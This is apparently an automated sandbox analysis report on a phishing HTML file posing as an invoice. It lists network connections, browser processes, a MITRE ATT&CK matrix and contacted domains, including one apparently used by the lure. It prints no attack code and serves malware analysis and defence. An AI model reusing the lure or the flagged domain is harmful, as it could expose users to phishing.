Source: unknownNetwork traffic detected: HTTP traffic on port 55196 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54984
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54983
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54982
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54981
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54988
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54987
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54986
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54985
Source: unknownNetwork traffic detected: HTTP traffic on port 55136 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55112 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55185 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55082 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54990
Source: unknownNetwork traffic detected: HTTP traffic on port 55273 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55218 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55239 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55174 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55206 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55069 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55197 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55059 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55229 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54997
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54996
Source: unknownNetwork traffic detected: HTTP traffic on port 55113 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55158 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55081 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55251 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55274 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 54990 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55070 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55169 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55047 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55240 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55008 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55036 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55106
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55227
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55228
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55108
Source: unknownNetwork traffic detected: HTTP traffic on port 55157 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55229
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55109
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55102
Source: unknownNetwork traffic detected: HTTP traffic on port 55134 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55223
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55103
Source: unknownNetwork traffic detected: HTTP traffic on port 55111 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55224
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55104
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55225
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55105
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55226
Source: unknownNetwork traffic detected: HTTP traffic on port 55186 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55230
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55110
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55231
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55111
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55232
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55112
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55233
Source: unknownNetwork traffic detected: HTTP traffic on port 55083 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55272 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55175 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55037 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55072 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55117
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55238
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55118
Source: unknownNetwork traffic detected: HTTP traffic on port 54984 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55203 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55239
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55119
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55113
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55234
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55114
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55235
Source: unknownNetwork traffic detected: HTTP traffic on port 55284 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55115
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55236
Source: unknownNetwork traffic detected: HTTP traffic on port 55249 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55116
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55237
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55120
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55241
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55243
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55244
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55000
Source: unknownNetwork traffic detected: HTTP traffic on port 55048 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55240
Source: unknownNetwork traffic detected: HTTP traffic on port 55168 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55214 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55283 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55094 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55071 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55128
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55249
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55129
Source: unknownNetwork traffic detected: HTTP traffic on port 55202 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55004
Source: unknownNetwork traffic detected: HTTP traffic on port 55225 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55245
Source: unknownNetwork traffic detected: HTTP traffic on port 54983 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55246
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55008
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55247
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55007
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55127
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55248
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55252
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55253
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55133
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55254
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55134
Source: unknownNetwork traffic detected: HTTP traffic on port 55007 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55255
Source: unknownNetwork traffic detected: HTTP traffic on port 55049 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55250
Source: unknownNetwork traffic detected: HTTP traffic on port 49688 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55251
Source: unknownNetwork traffic detected: HTTP traffic on port 55238 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55198 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55018 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55100 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49677 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55139
Source: unknownNetwork traffic detected: HTTP traffic on port 55060 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55156 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55256
Source: unknownNetwork traffic detected: HTTP traffic on port 55261 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55136
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55257
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55137
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55258
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55018
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55138
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55259
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55142
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55263
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55143
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55264
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55144
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55265
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55145
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55266
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55023
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55260
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55140
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55261
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55141
Source: unknownNetwork traffic detected: HTTP traffic on port 55187 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55262
Source: unknownNetwork traffic detected: HTTP traffic on port 55145 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55250 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55199 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55038 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55176 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55227 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55204 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55096 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55073 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55144 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55167 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55050 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55236 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55259 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55062 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55133 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55200
Source: unknownNetwork traffic detected: HTTP traffic on port 55109 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55209
Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55205
Source: unknownNetwork traffic detected: HTTP traffic on port 55061 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55206
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55207
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55208
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55201
Source: unknownNetwork traffic detected: HTTP traffic on port 55248 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55202
Source: unknownNetwork traffic detected: HTTP traffic on port 55260 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55203
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55204
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55210
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55211
Source: unknownNetwork traffic detected: HTTP traffic on port 55188 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55215 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55282 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55177 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55039 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55216
Source: unknownNetwork traffic detected: HTTP traffic on port 55226 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55095 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55218
Source: unknownNetwork traffic detected: HTTP traffic on port 54982 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 55110 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55212
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55213
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55214
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 55215
Source: unknownHTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49705 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknownHTTPS traffic detected: 2.19.244.127:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:54974 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:54977 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.16:54978 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:54979 version: TLS 1.2
Source: unknownHTTPS traffic detected: 51.104.15.253:443 -> 192.168.2.16:54980 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:54983 version: TLS 1.2
Source: unknownHTTPS traffic detected: 150.171.70.254:443 -> 192.168.2.16:55007 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:55037 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:55040 version: TLS 1.2

System Summary

barindex
HTML document with suspicious name
Source: Name includes: invoice 700898 for wallcentre.com.shtmlInitial sample: invoice
Source: classification engineClassification label: mal52.phis.winSHTML@74/195@50/158
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeFile created: C:\Users\user\AppData\Local\Temp\178e847d-02f1-4a15-84df-fdf8045e1576.tmp
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\invoice 700898 for wallcentre.com.shtml
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1944,i,4061923723569728725,10462630434982569038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1944,i,4061923723569728725,10462630434982569038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: unknownProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4472 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6756 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4472 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6756 --field-trial-handle=1968,i,7785166994045979883,11227575148762897452,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
Registry Run Keys / Startup Folder		1
Process Injection		1
Masquerading		OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System2
Encrypted Channel		Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
Registry Run Keys / Startup Folder		1
Process Injection		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
Extra Window Memory Injection		1
Extra Window Memory Injection		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol		Automated ExfiltrationData Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
file:///C:/Users/user/Desktop/invoice%20700898%20for%20wallcentre.com.shtml0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
teams-9999.teams-msedge.net
52.113.196.254
truefalse
    		unknown
    chrome.cloudflare-dns.com
    		162.159.61.3
    		truefalse
      		unknown
      mcr-9999.mcr-msedge.net
      		150.171.70.254
      		truefalse
        		unknown
        sb.scorecardresearch.com
        		18.65.39.56
        		truefalse
          		unknown
          www.google.com
          		142.250.74.196
          		truefalse
            		unknown
            s-part-0039.t-0009.t-msedge.net
            		13.107.246.67
            		truefalse
              		unknown
              googlehosted.l.googleusercontent.com
              		142.250.185.193
              		truefalse
                		unknown
                sni1gl.wpc.nucdn.net
                		152.199.21.175
                		truefalse
                  		unknown
                  clients2.googleusercontent.com
                  		unknown
                  		unknownfalse
                    		unknown
                    bzib.nelreports.net
                    		unknown
                    		unknownfalse
                      		unknown
                      assets.msn.com
                      		unknown
                      		unknownfalse
                        		unknown
                        c.msn.com
                        		unknown
                        		unknownfalse
                          		unknown
                          fbccda778f8.creategoodlife.us
                          		unknown
                          		unknownfalse
                            		unknown
                            ntp.msn.com
                            		unknown
                            		unknownfalse
                              		unknown
                              api.msn.com
                              		unknown
                              		unknownfalse
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                file:///C:/Users/user/Desktop/invoice%20700898%20for%20wallcentre.com.shtmltrue
                                • Avira URL Cloud: safe
                                		unknown

                                World Map of Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public IPs

                                IPDomainCountryFlagASNASN NameMalicious
                                23.44.201.19
                                		unknownUnited States
                                		20940AKAMAI-ASN1EUfalse
                                2.23.209.149
                                		unknownEuropean Union
                                		1273CWVodafoneGroupPLCEUfalse
                                13.107.6.158
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                13.107.246.40
                                		unknownUnited States
                                		8068MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                23.51.57.215
                                		unknownUnited States
                                		4788TMNET-AS-APTMNetInternetServiceProviderMYfalse
                                23.59.250.120
